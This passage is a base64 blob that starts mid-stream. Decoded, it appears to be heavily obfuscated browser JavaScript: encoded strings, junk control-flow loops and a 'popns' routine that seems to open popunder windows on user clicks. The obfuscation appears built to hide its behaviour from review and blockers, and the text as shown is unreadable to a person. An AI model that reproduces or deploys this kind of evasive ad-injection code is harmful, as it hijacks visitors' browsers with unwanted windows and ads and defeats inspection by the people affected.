h0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1